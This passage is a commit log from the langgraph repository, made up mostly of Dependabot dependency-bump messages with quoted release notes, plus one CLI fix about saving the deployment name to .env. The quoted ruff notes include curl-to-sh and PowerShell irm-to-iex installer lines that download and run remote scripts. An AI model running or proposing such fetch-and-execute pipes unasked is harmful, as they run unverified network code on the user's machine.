4 people	dffb0adb7d	chore(deps): bump picomatch from 4.0.3 to 4.0.4 in /libs/cli/js-monorepo-example (#7305) ... Bumps [picomatch](https://github.com/micromatch/picomatch) from 4.0.3 to 4.0.4. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/micromatch/picomatch/releases">picomatch's releases</a>.</em></p> <blockquote> <h2>4.0.4</h2> <p>This is a security release fixing several security relevant issues.</p> <h2>What's Changed</h2> <ul> <li>Fix for <a href="https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj">CVE-2026-33671</a></li> <li>Fix for <a href="https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p">CVE-2026-33672</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4">https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/micromatch/picomatch/commit/e5474fc1a4d7991870058170407dda8a42be5334"><code>e5474fc</code></a> Publish 4.0.4</li> <li><a href="https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"><code>4516eb5</code></a> Merge commit from fork</li> <li><a href="https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"><code>5eceecd</code></a> Merge commit from fork</li> <li><a href="https://github.com/micromatch/picomatch/commit/0db7dd70651ca7c8265601c0442a996ed32e3238"><code>0db7dd7</code></a> Run benchmark again against latest minimatch version (<a href="https://redirect.github.com/micromatch/picomatch/issues/161">#161</a>)</li> <li><a href="https://github.com/micromatch/picomatch/commit/95003777eb1c60dec09495a8231fa2ba4054d76a"><code>9500377</code></a> docs: clarify what brace expansion syntax is and isn't supported (<a href="https://redirect.github.com/micromatch/picomatch/issues/134">#134</a>)</li> <li><a href="https://github.com/micromatch/picomatch/commit/2661f23eca86c8b4a2b14815b9b2b3b74bd5a171"><code>2661f23</code></a> fix typo in globstars.js test name (<a href="https://redirect.github.com/micromatch/picomatch/issues/138">#138</a>)</li> <li><a href="https://github.com/micromatch/picomatch/commit/1798b07e9df59500b9cf567294d44d559032f4c7"><code>1798b07</code></a> docs: fix <code>makeRe</code> example (<a href="https://redirect.github.com/micromatch/picomatch/issues/143">#143</a>)</li> <li><a href="https://github.com/micromatch/picomatch/commit/9d76bc57a03b7f57cc4ca516c8071daf632bafd8"><code>9d76bc5</code></a> chore: undocument removed options (<a href="https://redirect.github.com/micromatch/picomatch/issues/146">#146</a>)</li> <li><a href="https://github.com/micromatch/picomatch/commit/e4d718bbfb47e4f030ab2612b5b04a9297fe272d"><code>e4d718b</code></a> Remove unused time-require (<a href="https://redirect.github.com/micromatch/picomatch/issues/160">#160</a>)</li> <li><a href="https://github.com/micromatch/picomatch/commit/38dffeb16221cc8eb8981524fb6895dd2aaaba76"><code>38dffeb</code></a> chore(deps): pin dependencies (<a href="https://redirect.github.com/micromatch/picomatch/issues/158">#158</a>)</li> <li>Additional commits viewable in <a href="https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com>	2026-03-29 23:29:19 +00:00
William FHandGitHub	0f20c3fe04	fix(cli): persist deployment name to .env after prompt (#7323) ... ## Summary - When `langgraph deploy` prompts for the deployment name interactively, persist it as `LANGSMITH_DEPLOYMENT_NAME` in the `.env` file so subsequent deploys pick it up automatically - Extracted `_resolve_env_path()` helper from `_parse_env_from_config()` to share env file path resolution logic - Skips writing when env vars are configured as an inline dict in `langgraph.json` (no file to write to) - **CI fix**: CLI integration tests were using `pip install` but `setup-uv` with caching enabled, so the post-step cache save failed on a non-existent directory — switched to `uv pip install` ## Test plan - [x] All 207 existing unit tests pass - [ ] Manual: run `langgraph deploy` without `--name`, enter a name at prompt, verify `.env` now contains `LANGSMITH_DEPLOYMENT_NAME=<name>` - [ ] Manual: run `langgraph deploy` again, verify the name is picked up from `.env` without re-prompting - [x] CI integration test cache fix (broken on main since Feb 2026)	2026-03-29 07:50:57 -07:00
4 people	ad78c23418	chore(deps): bump the all-dependencies group in /libs/cli with 2 updates (#7252) ... Bumps the all-dependencies group in /libs/cli with 2 updates: [langgraph-sdk](https://github.com/langchain-ai/langgraph) and [ruff](https://github.com/astral-sh/ruff). Updates `langgraph-sdk` from 0.3.11 to 0.3.12 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraph/releases">langgraph-sdk's releases</a>.</em></p> <blockquote> <h2>langgraph-sdk==0.3.12</h2> <p>Changes since sdk==0.3.11</p> <ul> <li>release(sdk-py): 0.3.12 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7224">#7224</a>)</li> <li>release(langgraph): 1.1.3 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7215">#7215</a>)</li> <li>chore(deps): bump the all-dependencies group in /libs/sdk-py with 2 updates (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7197">#7197</a>)</li> <li>release(langgraph): 1.1.2 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7135">#7135</a>)</li> <li>release(langgraph): 1.1.1 (<a href="https://redirect.github.com/langchain-ai/langgraph/issues/7120">#7120</a>)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langgraph/commit/2e1adaa867303da9fccc5ed910f7d7d1b1ccf7c5"><code>2e1adaa</code></a> 0.3.12</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/3f8b16559290028a81d5d5d5e00896c800cf40a3"><code>3f8b165</code></a> Update state.py</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/0b9adc28c3fe84870712fb2db963463fa9b3aa05"><code>0b9adc2</code></a> langgraph-checkpoint 2.0.21</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/d4255a06457e07813c791069613a3b4e92f46443"><code>d4255a0</code></a> Merge branch 'main' into wfh/idempotency_test_</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/424f24720a85fb2275fb2eb1a185282acbda3de4"><code>424f247</code></a> Make expires_at idempotent</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/2a71180c1d1b578fa9777043fdcb30549e522ff6"><code>2a71180</code></a> Add tests for idempotency in migraionts</li> <li><a href="https://github.com/langchain-ai/langgraph/commit/697f878e3619a145e8ad5e4ee9342ac9b1bb3311"><code>697f878</code></a> Make expires_at idempotent</li> <li>See full diff in <a href="https://github.com/langchain-ai/langgraph/compare/0.3.11...0.3.12">compare view</a></li> </ul> </details> <br /> Updates `ruff` from 0.15.6 to 0.15.7 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.15.7</h2> <h2>Release Notes</h2> <p>Released on 2026-03-19.</p> <h3>Preview features</h3> <ul> <li>Display output severity in preview (<a href="https://redirect.github.com/astral-sh/ruff/pull/23845">#23845</a>)</li> <li>Don't show <code>noqa</code> hover for non-Python documents (<a href="https://redirect.github.com/astral-sh/ruff/pull/24040">#24040</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>pycodestyle</code>] Recognize <code>pyrefly:</code> as a pragma comment (<code>E501</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24019">#24019</a>)</li> </ul> <h3>Server</h3> <ul> <li>Don't return code actions for non-Python documents (<a href="https://redirect.github.com/astral-sh/ruff/pull/23905">#23905</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Add company AI policy to contributing guide (<a href="https://redirect.github.com/astral-sh/ruff/pull/24021">#24021</a>)</li> <li>Document editor features for Markdown code formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/23924">#23924</a>)</li> <li>[<code>pylint</code>] Improve phrasing (<code>PLC0208</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24033">#24033</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Use PEP 639 license information (<a href="https://redirect.github.com/astral-sh/ruff/pull/19661">#19661</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/tmimmanuel"><code>@​tmimmanuel</code></a></li> <li><a href="https://github.com/DimitriPapadopoulos"><code>@​DimitriPapadopoulos</code></a></li> <li><a href="https://github.com/amyreese"><code>@​amyreese</code></a></li> <li><a href="https://github.com/statxc"><code>@​statxc</code></a></li> <li><a href="https://github.com/dylwil3"><code>@​dylwil3</code></a></li> <li><a href="https://github.com/hunterhogan"><code>@​hunterhogan</code></a></li> <li><a href="https://github.com/renovate"><code>@​renovate</code></a></li> </ul> <h2>Install ruff 0.15.7</h2> <h3>Install prebuilt binaries via shell script</h3> <pre lang="sh"><code>curl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ruff/releases/download/0.15.7/ruff-installer.sh | sh </code></pre> <h3>Install prebuilt binaries via powershell script</h3> <pre lang="sh"><code>powershell -ExecutionPolicy Bypass -c &quot;irm https://releases.astral.sh/github/ruff/releases/download/0.15.7/ruff-installer.ps1 | iex&quot; &lt;/tr&gt;&lt;/table&gt; </code></pre> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.15.7</h2> <p>Released on 2026-03-19.</p> <h3>Preview features</h3> <ul> <li>Display output severity in preview (<a href="https://redirect.github.com/astral-sh/ruff/pull/23845">#23845</a>)</li> <li>Don't show <code>noqa</code> hover for non-Python documents (<a href="https://redirect.github.com/astral-sh/ruff/pull/24040">#24040</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>pycodestyle</code>] Recognize <code>pyrefly:</code> as a pragma comment (<code>E501</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24019">#24019</a>)</li> </ul> <h3>Server</h3> <ul> <li>Don't return code actions for non-Python documents (<a href="https://redirect.github.com/astral-sh/ruff/pull/23905">#23905</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Add company AI policy to contributing guide (<a href="https://redirect.github.com/astral-sh/ruff/pull/24021">#24021</a>)</li> <li>Document editor features for Markdown code formatting (<a href="https://redirect.github.com/astral-sh/ruff/pull/23924">#23924</a>)</li> <li>[<code>pylint</code>] Improve phrasing (<code>PLC0208</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/24033">#24033</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Use PEP 639 license information (<a href="https://redirect.github.com/astral-sh/ruff/pull/19661">#19661</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/tmimmanuel"><code>@​tmimmanuel</code></a></li> <li><a href="https://github.com/DimitriPapadopoulos"><code>@​DimitriPapadopoulos</code></a></li> <li><a href="https://github.com/amyreese"><code>@​amyreese</code></a></li> <li><a href="https://github.com/statxc"><code>@​statxc</code></a></li> <li><a href="https://github.com/dylwil3"><code>@​dylwil3</code></a></li> <li><a href="https://github.com/hunterhogan"><code>@​hunterhogan</code></a></li> <li><a href="https://github.com/renovate"><code>@​renovate</code></a></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ruff/commit/0ef39de46c006994fb1e90f7bd4ba09c0b2c1f79"><code>0ef39de</code></a> Bump 0.15.7 (<a href="https://redirect.github.com/astral-sh/ruff/issues/24049">#24049</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/beb543b5c666be9fd3f13c88df818f202b63e9d0"><code>beb543b</code></a> [ty] ecosystem-analyzer: Fail on newly panicking projects (<a href="https://redirect.github.com/astral-sh/ruff/issues/24043">#24043</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/378fe730929ccd67a7f2426b3012093da814b31d"><code>378fe73</code></a> Don't show noqa hover for non-Python documents (<a href="https://redirect.github.com/astral-sh/ruff/issues/24040">#24040</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/b5665bd18eecab4d3b5ab1256b36904cd99a4c57"><code>b5665bd</code></a> [<code>pylint</code>] Improve phrasing (<code>PLC0208</code>) (<a href="https://redirect.github.com/astral-sh/ruff/issues/24033">#24033</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/6e20f2219020e61eeae29458013d2d3684f75a79"><code>6e20f22</code></a> test: migrate <code>show_settings</code> and <code>version</code> tests to use <code>CliTest</code> (<a href="https://redirect.github.com/astral-sh/ruff/issues/23702">#23702</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/f99b284c1fe1399a82da7f6669467488017d44a7"><code>f99b284</code></a> Drain file watcher events during test setup (<a href="https://redirect.github.com/astral-sh/ruff/issues/24030">#24030</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/744c996c35016a8c0e05aa2823f4f822ac7b842c"><code>744c996</code></a> [ty] Filter out unsatisfiable inference attempts during generic call narrowin...</li> <li><a href="https://github.com/astral-sh/ruff/commit/16160958bdafb6106b6fffc72ffe2e4db0c0ac33"><code>1616095</code></a> [ty] Avoid inferring intersection types for call arguments (<a href="https://redirect.github.com/astral-sh/ruff/issues/23933">#23933</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/7f275f431bf8c60d59601b74d441e9f4bef89f35"><code>7f275f4</code></a> [ty] Pin mypy_primer in <code>setup_primer_project.py</code> (<a href="https://redirect.github.com/astral-sh/ruff/issues/24020">#24020</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/7255e362e4b171a641222279cd28d2ca88a74fdc"><code>7255e36</code></a> [<code>pycodestyle</code>] Recognize <code>pyrefly:</code> as a pragma comment (<code>E501</code>) (<a href="https://redirect.github.com/astral-sh/ruff/issues/24019">#24019</a>)</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ruff/compare/0.15.6...0.15.7">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com>	2026-03-23 10:32:54 -07:00
3 people	f3422e92f4	chore(deps): bump the all-dependencies group in /libs/cli/js-examples with 5 updates (#7251) ... Bumps the all-dependencies group in /libs/cli/js-examples with 5 updates: | Package | From | To | | --- | --- | --- | | [@langchain/core](https://github.com/langchain-ai/langchainjs) | `1.1.32` | `1.1.35` | | [@langchain/langgraph](https://github.com/langchain-ai/langgraphjs/tree/HEAD/libs/langgraph-core) | `1.2.2` | `1.2.5` | | [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.57.0` | `8.57.1` | | [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.57.0` | `8.57.1` | | [eslint](https://github.com/eslint/eslint) | `10.0.3` | `10.1.0` | Updates `@langchain/core` from 1.1.32 to 1.1.35 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.35</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10327">#10327</a> <a href="https://github.com/langchain-ai/langchainjs/commit/5dc11b55cccfe35e4dad910a33e904cf49b3088a"><code>5dc11b5</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): replace exported zod type references with structural duck-type interfaces to fix TypeScript OOM</p> <p>Replaces all exported Zod type references (<code>z3.ZodType</code>, <code>z4.$ZodType</code>, etc.) in <code>@langchain/core</code>'s public API with minimal structural (&quot;duck-type&quot;) interfaces. This prevents TypeScript from performing expensive deep structural comparisons (~3,400+ lines of mutually recursive generics) when downstream packages resolve a different Zod version than <code>@langchain/core</code>, which was causing OOM crashes and unresponsive language servers in monorepo setups.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10433">#10433</a> <a href="https://github.com/langchain-ai/langchainjs/commit/7af0b65d5ab9a173b528d6a821d269a79fbabdc6"><code>7af0b65</code></a> Thanks <a href="https://github.com/tanushree-sharma"><code>@​tanushree-sharma</code></a>! - feat: Add LangSmith integration metadata to createAgent and initChatModel</p> </li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.34</h2> <h3>Patch Changes</h3> <ul> <li><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10312">#10312</a> <a href="https://github.com/langchain-ai/langchainjs/commit/bfb7944a105470eee98fe4a0eef91e586600e1de"><code>bfb7944</code></a> Thanks <a href="https://github.com/jacoblee93"><code>@​jacoblee93</code></a>! - feat(core): Add all invocation params as part of metadata</li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.33</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10412">#10412</a> <a href="https://github.com/langchain-ai/langchainjs/commit/6db417b03ecb5e2ace413389d982294e0ac88433"><code>6db417b</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(core): respect timeout option in streamEvents v2</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10424">#10424</a> <a href="https://github.com/langchain-ai/langchainjs/commit/d69dfcca97503cf1c0b7e70ccf5fb7d507c60982"><code>d69dfcc</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(core): preserve multimodal content in getBufferString as placeholders</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/443253bd5336597d3619f2e21a8d5a814202997e"><code>443253b</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10469">#10469</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/005d4a15222b636702fe8d04fc4ea2d8b84d9b06"><code>005d4a1</code></a> chore(deps-dev): bump fast-xml-parser from 5.5.6 to 5.5.7 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10473">#10473</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/63b72689a1f245037aaa7d910ea4b881ead84856"><code>63b7268</code></a> fix(<code>@​langchain/google</code>) Duplicate function call (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10493">#10493</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/75e9d56926988dc355c9e5cf63af05a4b378cdf2"><code>75e9d56</code></a> fix: support structured output (providerStrategy) for Google Gemini models in...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/21094f31d99e30a9c8433072523cb08b8539c1ab"><code>21094f3</code></a> Create nasty-cars-fold.md</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/ab11688f4e3cf53cc6bb9202a595f5f953277764"><code>ab11688</code></a> format</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b741848a2ce02e82b6acaa15ce40b90f569b0660"><code>b741848</code></a> add google response schema to invokation params</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/0c1420631df8b9823435f6d7bd518f34fd51bafb"><code>0c14206</code></a> fix: patch 30+ Dependabot security alerts (critical/high/medium) (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10488">#10488</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/ec2b0b5cb0a14038019ec88ec457fd7aa77bf3ed"><code>ec2b0b5</code></a> structured output via model profiles</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/5dc11b55cccfe35e4dad910a33e904cf49b3088a"><code>5dc11b5</code></a> fix(core): replace exported zod type references with structural interfaces to...</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.32...@langchain/core@1.1.35">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.2.2 to 1.2.5 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/releases"><code>@​langchain/langgraph</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.5</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2213">#2213</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/a09932a203062d52e98e6dc5fd80ab572b123700"><code>a09932a</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): prevent AbortSignal listener leak in stream() and streamEvents()</p> <p><code>Pregel.stream()</code> and <code>streamEvents()</code> called <code>combineAbortSignals()</code> but discarded the <code>dispose</code> function, leaking one abort listener on the caller's signal per invocation. Over many invocations this caused unbounded memory growth as each leaked listener retained references to its associated graph execution state.</p> <ul> <li>Use <code>AbortSignal.any()</code> on Node 20+ which handles listener lifecycle automatically via GC</li> <li>Fall back to manual listener management on Node 18, with proper <code>dispose()</code> called when the stream completes or is cancelled</li> </ul> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2210">#2210</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/4d2e9483208e105b7c45ab1cbc8ac8d540fbb23d"><code>4d2e948</code></a> Thanks <a href="https://github.com/jackjin1997"><code>@​jackjin1997</code></a>! - Fix <code>AnyValue.update()</code> returning <code>false</code> instead of <code>true</code> when values are received, aligning with all other channel implementations.</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/414a7adf908ba4f7ffef4985df3a95f14202591b"><code>414a7ad</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.0</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.4</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(sdk): fetch subagent history</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.5</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.3</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2176">#2176</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/ad48dee9dcaf29c718c9f6b1c188756c14e85a0f"><code>ad48dee</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(state): merge jsonSchemaExtra in getInputJsonSchema()</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/8fec72ae98b117b79048403d0f7ad75d653c090b"><code>8fec72a</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a9ff2efdf0a2b6ff0301eedfff541e125c1e6300"><code>a9ff2ef</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a24bb550fb81271c505b9cab0295d8e599aaeb79"><code>a24bb55</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b80076c5a7fc1b6985abc1fd9c367438ba6ca968"><code>b80076c</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b6cfe555bfb498fe24fa85847f0fe5d1194dfa39"><code>b6cfe55</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.3</li> <li><code>@​langchain/langgraph-checkpoint</code><a href="https://github.com/1"><code>@​1</code></a>.0.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.5</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2213">#2213</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/a09932a203062d52e98e6dc5fd80ab572b123700"><code>a09932a</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): prevent AbortSignal listener leak in stream() and streamEvents()</p> <p><code>Pregel.stream()</code> and <code>streamEvents()</code> called <code>combineAbortSignals()</code> but discarded the <code>dispose</code> function, leaking one abort listener on the caller's signal per invocation. Over many invocations this caused unbounded memory growth as each leaked listener retained references to its associated graph execution state.</p> <ul> <li>Use <code>AbortSignal.any()</code> on Node 20+ which handles listener lifecycle automatically via GC</li> <li>Fall back to manual listener management on Node 18, with proper <code>dispose()</code> called when the stream completes or is cancelled</li> </ul> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2210">#2210</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/4d2e9483208e105b7c45ab1cbc8ac8d540fbb23d"><code>4d2e948</code></a> Thanks <a href="https://github.com/jackjin1997"><code>@​jackjin1997</code></a>! - Fix <code>AnyValue.update()</code> returning <code>false</code> instead of <code>true</code> when values are received, aligning with all other channel implementations.</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/414a7adf908ba4f7ffef4985df3a95f14202591b"><code>414a7ad</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.0</li> </ul> </li> </ul> <h2>1.2.4</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(sdk): fetch subagent history</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.5</li> </ul> </li> </ul> <h2>1.2.3</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2176">#2176</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/ad48dee9dcaf29c718c9f6b1c188756c14e85a0f"><code>ad48dee</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(state): merge jsonSchemaExtra in getInputJsonSchema()</p> </li> <li> <p>Updated dependencies [<a 